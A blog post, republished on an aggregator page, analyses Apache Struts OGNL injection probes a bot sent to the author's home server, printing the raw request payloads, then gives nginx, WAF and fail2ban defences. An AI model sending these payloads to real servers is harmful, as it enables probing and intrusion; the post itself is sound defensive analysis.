惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

S
SegmentFault 最新的问题
J
Java Code Geeks
V
V2EX
Blog — PlanetScale
Blog — PlanetScale
博客园 - 司徒正美
Hugging Face - Blog
Hugging Face - Blog
F
Fortinet All Blogs
aimingoo的专栏
aimingoo的专栏
B
Blog
A
About on SuperTechFans
有赞技术团队
有赞技术团队
月光博客
月光博客
Microsoft Azure Blog
Microsoft Azure Blog
阮一峰的网络日志
阮一峰的网络日志
腾讯CDC
美团技术团队
大猫的无限游戏
大猫的无限游戏
爱范儿
爱范儿
N
Netflix TechBlog - Medium
C
Check Point Blog
Recent Announcements
Recent Announcements
博客园 - Franky
博客园 - 叶小钗
T
Tailwind CSS Blog

Posts on Noah Bailey

How to turn anything into a router Deploy to Cloudfront from GitHub using OpenID Connect Backup Postgres databases with Kubernetes CronJobs The spelling error made 200 billion times a day Restarting Kubernetes pods using a CronJob You've just bought a new domain. Now what? Who Sawed My Motherboard??? Linux on the P8 Aliexpress Mini Laptop Recovering Mysql/Mariadb after a nasty crash Using EXIF data to pick my next lens Converting and developing RAW photos on Linux automatically Thank you, 2016 iPhone Don't Make It Work Self-hosted Surveillance with ZoneMinder Backups, Monitoring, and Security for small Mastodon servers Block web scanners with ipset & iptables Executing commands over SSH with GitHub Actions Debian Sid on encrypted ZFS Protect your dangerously insecure redis server Debian: the luxurious boring lifestyle Monitor radiation with a Raspberry Pi Simple Linux server alerts: Know your performance, errors, security, syslog, and security NUC crashes on debian 11 - How I fixed it Basic Linux server security with fail2ban, ossec, and firewall Windows 11 will create heaps of needless trash Domesticated Kubernetes Networking The Cursed Certificate Our mostly disposable and entirely stupid world Trying out OpenBSD (as a Linux geek) Making VoIP Calls with Antique Rotary Phones
Being Attacked by Bots
2020-02-19 · via Posts on Noah Bailey

On the 19th of January 2020, a malicious actor launched an attack against my home infrastructure. At 42 minutes after midnight a device located in Buenos Aires, Argentina began attacking my proxy server. For the next six minutes, approximately 150 malicious HTTP requests were made.

Fortunately, every single one of these requests was met with a HTTP/400 response, that’s because I don’t use Apache Struts 2 which this bot was attempting to exploit. Thanks to my IDS software, Suricata, I have a record of all of these requests and what they were attempting to do.

This is the same attack vector used Chinese state sponsored hackers who attacked and compromised Equifax in 2017. The tools that were used in that attack are likely very similar to the ones used on me, so maybe we’ll be able to take apart this attack and learn some more about how these exploits work.

The Attack

Content-Type header attack

Suricata detected this request as “Possible Apache Struts OGNL Expression Injection (CVE-2017-5638)”

The raw HTTP headers are as follows:

GET / HTTP/1.1
Host: 203.0.113.238
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Type: %{(#fuck='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@getRequest()).(#[email protected]@getResponse().getWriter()).(#outstr.println(#req.getRealPath("/"))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

That’s pretty nasty. What we’re hearing here is a fairly normal HTTP request up until the Content-Type header. This header contains some sort of script.

The contents of Content-Type can be exploded a little so that it makes a bit more sense:

(#fuck='multipart/form-data')
  .(#[email protected]@DEFAULT_MEMBER_ACCESS)
  .(#_memberAccess?(#_memberAccess=#dm):(
     (#container=#context[
        'com.opensymphony.xwork2.ActionContext.container'])
    .(#ognlUtil=#container.getInstance(
        @com.opensymphony.xwork2.ognl.OgnlUtil@class))
    .(#ognlUtil.getExcludedPackageNames().clear())
    .(#ognlUtil.getExcludedClasses().clear())
    .(#context.setMemberAccess(#dm))))
  .(#[email protected]@getRequest())
  .(#[email protected]@getResponse().getWriter())
  .(#outstr.println(#req.getRealPath("/")))
  .(#outstr.close())
  .(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))
  .(@org.apache.commons.io.IOUtils@copy(
      #process.getInputStream(),#ros))
  .(#ros.flush())

After a little searching, this is almost exactly the same as the RCE example from ExploitDB. While the PoC exploit is performing command injection, this request is simply testing that the prerequisites for a successful attack are in place. Unfortunately, I don’t have Struts in my environment, so that’s as far as our friends get with this exploit.

HTTP POST body

This request was flagged by the IDS software as “Possible Apache Struts OGNL Command Execution CVE-2013-2251 redirect”.

Unlike the previous one, this attempt lives in the HTTP POST body instead of the headers. This was patched many years ago, so it’s unlikely that it would have worked.

POST / HTTP/1.1
Host: 203.0.113.238
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.12.4
Content-type: application/x-www-form-urlencoded
Content-Length: 561

redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#resp.getWriter().print("web"),#resp.getWriter().print("path88888887:"),#resp.getWriter().print(#req.getSession().getServletContext().getRealPath("/")),#resp.getWriter().flush(),#resp.getWriter().close()}

This request is trying to concatenate multiple strings to slip past IDS systems. This may have worked in 2013, but it sure doesn’t now.

We can take apart this script to see what it does:

${
#req=#context.get(
    'com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
#resp=#context.get(
    'com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
#resp.setCharacterEncoding('UTF-8'),
#resp.getWriter().print("web"),
#resp.getWriter().print("path88888887:"),
#resp.getWriter().print(
  #req.getSession()
      .getServletContext()
      .getRealPath("/")
),
#resp.getWriter().flush(),
#resp.getWriter().close()
}

Again, it doesn’t look like this is necessarily doing anything malicious, but this will tell an attacker if the server is exploitable. If it was, they would come back later with their nasty friends later for a full on assault.

HTTP POST body

The next attempted attack was once again in the POST body. This request was identified as “Apache Struts Possible OGNL AllowStaticMethodAccess in client body,” Similar to the previous request.

POST / HTTP/1.1
Host: 203.0.113.238
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.12.4
Content-type: application/x-www-form-urlencoded
Content-Length: 252

a=1${(%23_memberAccess["allowStaticMethodAccess"]=true,%[email protected]@getRequest(),%[email protected]@getResponse().getWriter(),%23k8out.println(%23req.getRealPath("/")),%23k8out.close())}

This time, it’s trying to trick the permissions system into letting itself in.

HTTP Request path exploit

The final attempt at hacking struts was a crafted HTTP request path.

GET //(#[email protected]@DEFAULT_MEMBER_ACCESS)?(#[email protected]@getRequest(),#wr=#context[#parameters.obj[0]].getWriter(),#wr.println(#req.getRealPath(#parameters.pp[0])),#wr.flush(),#wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&pp=/ HTTP/1.1
Host: 203.0.113.238
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.12.4
Content-type: application/x-www-form-urlencoded

I think this one is my favourite, because it’s trying to invoke a templating function on the server itself to rewrite the URL as an authorized one. Very sneaky.

What can we learn

First and foremost, this reinforces the need for web server log parsing tools, as well as intrusion detection systems, ideally both. Without these tools, I wouldn’t have been able to crack open these attacks and look inside.

After visibility, the next important part is actually stopping the attack. This is where defense in depth comes in. The simplest and most effective way to stop this is to put a reverse proxy out in front of the web application, stopping the malformed headers from being passed on to the backend server. I’m a big fan of Nginx for this purpose, but just about any HTTP reverse proxy will do the trick.

The next defense against this is to have a blackhole virtual host listening on all non-SNI requests. You will notice that all the requests did not use my actual hostname in the Host header, that’s because they don’t actually know what they’re attacking. So, rather than allow the server to forward those requests to the ‘closest match,’ I send them garbage back:

server {
    listen 80 default_server;
    server_name _;
    server_name_in_redirect off;
    return 402;
}
server {
    listen 443 ssl  default_server;
    server_name _;
    ssl_certificate     ssl-cert-snakeoil.pem;
    ssl_certificate_key ssl-cert-snakeoil.key;
    server_name_in_redirect off;
    return 402;
}

This way, they will always get a blank 402: Payment Required response, no matter what is sent.

Another, cheekier, default server block is what I like to use on external facing proxies at home:

server {
    listen 80 default_server;
    server_name _;
    server_name_in_redirect off;
    return 301 http://$remote_addr;
}
server {
    listen 443 ssl  default_server;
    server_name _;
    ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
    ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
    server_name_in_redirect off;
    return 301 http://$remote_addr;
}

Here, instead of returning a normal response we redirect back to the source IP. I doubt this actually causes any bots to attack themselves, but I like to think it does.

Finally, the ideal solution is to implement a proper Web Application Firewall. There are lots of them out there, and it really comes down to personal preference. The most common open source WAFs:

With these, a server admin has very granular control over the requests that they will accept or deny. For example, there’s really no reason that an HTTP header would need to have characters like (@org.apache.struts2... so most of these should be blocked and banned.

Furthermore, a smart WAF will be able to completely cut off a malicious IP after a few blocked requests. NAXSI has a very straightforward integration with fail2ban to block repeat offenders.

But, overall the most important takeaway is that a single layer of defense isn’t really enough. Just as we could patch a vulnerable install of Struts, an attacker could just as easily find a new hole. It’s an endless arms race, and the only way to get ahead is to build layer upon layer of defenses, each with their own strengths.